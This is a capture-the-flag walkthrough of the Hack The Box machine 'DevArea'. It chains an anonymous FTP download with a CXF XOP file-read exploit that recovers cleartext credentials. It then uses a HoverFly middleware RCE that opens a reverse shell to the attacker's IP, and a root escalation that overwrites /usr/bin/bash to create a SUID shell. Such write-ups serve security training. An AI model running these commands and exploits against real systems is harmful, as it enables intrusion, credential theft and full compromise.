HTB — DevArea

Overview

DevArea is a medium Linux box and there is a LOT going on. The attack chain starts with anonymous FTP exposing a Java service JAR — which we decompile to find an Apache CXF SOAP endpoint vulnerable to SSRF. We abuse that file read to dig out a HoverFly systemd service file with credentials hardcoded right in the command line, log into the dashboard, and exploit a separate RCE CVE to land a shell. Privilege escalation is a satisfying one: we replace /usr/bin/bash with a malicious wrapper that a root-owned syswatch script blissfully executes, handing us a SUID shell.

Reconnaissance

nmap -sS -Pn -sC -sV -O 10.129.19.139

21/tcp   open  ftp     vsftpd 3.0.5   (anonymous login allowed)
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp   open  http    Apache httpd 2.4.58 (redirects to devarea.htb)
8080/tcp open  http    Jetty 9.4.27.v20200227 (404)
8500/tcp open  ?       Proxy server (HoverFly proxy endpoint)
8888/tcp open  http    HoverFly Dashboard

Six ports, each telling its own little story. FTP with anonymous login is the obvious first stop. The Jetty 404 on 8080 suggests something is deployed but not broadcasting itself. Ports 8500 and 8888 are both HoverFly — a proxy tool with a web dashboard. We’ll be seeing a lot of that later.

First, add the hostname to the hosts file:

sudo nano /etc/hosts
# Add: 10.129.19.139   devarea.htb

Anonymous FTP

ftp 10.129.19.139
# User: anonymous / Pass: anonymous

ftp> cd pub
ftp> ls -la
-rw-r--r--  employee-service.jar

ftp> get employee-service.jar

A Java archive sitting in a public FTP share with zero authentication required. Let’s see what’s hiding inside.

JAR Decompilation and CVE-2022-46364

Decompiling with CFR:

wget https://www.benf.org/other/cfr/cfr-0.152.jar
mkdir decompiled
java -jar cfr-0.152.jar employee-service.jar --outputdir decompiled

Digging through the decompiled source, htb/devarea/ServerStarter.java is immediately interesting:

factory.setServiceClass(EmployeeService.class);
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");

The JAR bundles an Apache CXF SOAP service running on Jetty 9.4.27 — that explains the 404 on port 8080. A quick search on the CXF version confirms it’s vulnerable to CVE-2022-46364, and honestly it’s a great one.

This vulnerability abuses XOP Include elements inside MTOM multipart SOAP requests. Old CXF versions resolve XOP Include URIs server-side without validating the URI scheme, meaning we can pass file:// paths and have the server read arbitrary local files and embed the contents right back in the response. Completely unauthenticated SSRF with arbitrary file read. Beautiful.

Using the public PoC:

git clone https://github.com/kasem545/CVE-2022-46364-Poc.git
cd CVE-2022-46364-Poc
python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/passwd -d devarea.htb

/etc/passwd comes back and we spot a user called dev_ryan. I tried to be cheeky and read the user flag directly, but no luck — no permissions yet. On to bigger things.

Credential Discovery via File Read

HoverFly is clearly running given ports 8500 and 8888. Time to use our file read to go hunting for its config. A few common paths come up empty before we hit gold:

# Not found
python3 CVE-2022-46364.py ... -s file:///etc/hoverfly/hoverfly.json
python3 CVE-2022-46364.py ... -s file:///etc/hoverfly/config.json

# Bingo!
python3 CVE-2022-46364.py ... -s file:///etc/systemd/system/hoverfly.service

The systemd service file comes back and the credentials are just sitting there in the ExecStart line — in cleartext, in a service file, readable via an unauthenticated SSRF. Classic.

[Service]
User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Credentials: admin:O7IJ27MyyXiU

HoverFly RCE via CVE-2025-54123

Logging into the HoverFly dashboard at http://devarea.htb:8888 with those credentials works first try. The dashboard immediately gives away the version: v1.11.3.

A quick search confirms this version is vulnerable to CVE-2025-54123, an RCE via the middleware API endpoint. Things are moving nicely.

git clone https://github.com/davidzzo23/CVE-2025-54123
cd CVE-2025-54123

# Sanity check first
python3 CVE-2025-54123.py -u admin -p O7IJ27MyyXiU \
  -t "http://devarea.htb:8888/api/v2/hoverfly/middleware" \
  -c whoami

Command execution confirmed. Time to upgrade that to a proper shell.

Start a listener:

nc -lvnp 4444

Fire it:

python3 CVE-2025-54123.py -u admin -p O7IJ27MyyXiU \
  -t "http://devarea.htb:8888/api/v2/hoverfly/middleware" \
  -r 10.10.14.45 4444

Shell lands as dev_ryan. Grab the user flag at /home/dev_ryan/user.txt.

Stabilise the shell so we can actually work comfortably:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm

Privilege Escalation

Trying to wget LinPEAS directly from the box doesn’t work, so we host it ourselves:

# On attack machine
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080

# On target
wget http://10.10.14.45:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinPEAS surfaces two things worth noting: a syswatch.zip in the home directory, and a script at /opt/syswatch/syswatch.sh that can be run via sudo. The key detail: the script calls /usr/bin/bash internally. If we replace /usr/bin/bash with our own wrapper and then trigger syswatch via sudo, root will execute our code. Simple, elegant, destructive.

Step 1 — Back up the real bash binary:

cp /usr/bin/bash /tmp/bash.bak
chmod +x /tmp/bash.bak

Step 2 — Drop into sh and free bash before overwriting it:

We need to get out of bash first so nothing is holding the binary open when we replace it. If bash is still running, the OS won’t let us overwrite it cleanly.

sh
killall bash

# Confirm nothing is still holding /usr/bin/bash open
lsof /usr/bin/bash
# No output? We're clear. Still seeing processes? Force it:
killall -9 bash

Step 3 — Drop in our malicious wrapper:

cat > /usr/bin/bash << 'EOF'
#!/tmp/bash.bak
cp /tmp/bash.bak /tmp/pwned
chmod 4755 /tmp/pwned
EOF

Step 4 — Trigger syswatch and let root do the work:

sudo /opt/syswatch/syswatch.sh status

Step 5 — Pop the SUID shell:

ls -la /tmp/pwned
# -rwsr-xr-x 1 root root ... /tmp/pwned

/tmp/pwned -p
whoami
# root

Root flag is at /root/root.txt. Easiest root once you see it.

Attack Chain Summary

Step	Detail
Recon	nmap → FTP anon login, Jetty 8080, HoverFly 8888
FTP	Anonymous login → `employee-service.jar`
Decompile	CFR → Apache CXF SOAP endpoint on port 8080
SSRF	CVE-2022-46364 XOP Include file read → `/etc/passwd`, `/etc/systemd/system/hoverfly.service`
Creds	HoverFly service file → `admin:O7IJ27MyyXiU` hardcoded in ExecStart
RCE	CVE-2025-54123 HoverFly middleware API → shell as `dev_ryan`
User flag	`/home/dev_ryan/user.txt`
Privesc	Replace `/usr/bin/bash`, trigger syswatch sudo script → SUID bash copy
Root flag	`/root/root.txt`